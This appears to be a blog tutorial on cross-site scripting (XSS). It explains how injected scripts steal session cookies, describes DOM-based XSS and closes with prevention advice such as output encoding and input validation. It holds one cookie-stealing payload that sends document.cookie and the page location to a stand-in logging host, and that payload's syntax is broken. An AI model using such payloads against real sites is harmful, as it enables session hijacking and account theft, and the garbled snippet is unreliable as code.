How Do Hackers Hijack Websites And Browser Using Xss Simple Tutorial




Today I am going to introduce the most common attack used by hackers ‘XSS Vulnerability’.

This attack also known as ‘XSS attack’.This is use to hack a website.
This is a type of injection attack that injects malicius code into any website.

XSS vulnerabilities are one of the OWASP Top 10 security concerns today, especially as so many organisations rely heavily on web application for costomer interaction and validation.

Cross site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. This is a combination of HTML and XSS provided by the attacker, but XSS can also be used to deliver malicious downloads, plugins, or media content. In this case hacker execute some malicious links into the website or an app.

If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system.

As a result, the attacker can steal the user’s active session cookie.
Here’s an example:

<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>

Because XSS can allow untrusted users to execute code in the browser of trusted users and access some types of data, such as session cookies, and many time hackers get some website credentials which they get full control on websites.

How does cross site scripting work?
Cross-site scripting works by manipulating a vulnerable website or an application so that it returns malicious JavaScript to users.The attacker injects some code in it.

Attackers can also carry out an attack by modifying a request. If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system. As a result, the attacker can steal the user’s active session cookie.


DOM-based XSS:-

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

How to prevent XSS vulnerability?
There are some strategies to prevent XSS attacks:


*Never trust user input.
*Implement output encoding.
*Perform user input validation.
*Follow the defense in depth principle.
*Ensure that web application development aligns with OWASP’s XSS Prevention *Cheat Sheet.
*After remediation, perform penetration testing to confirm it was successful.
Protect your organization by following secure development guidelines—building security in at all phases of the application’s development. Output encoding is also key to preventing XSS vulnerabilities. Make use of output encoding libraries that are relevant to the programming languages and frameworks your organization uses. Also, ensure your developers stay up-to-date with XSS prevention best practices.

Post a Comment

Previous Post Next Post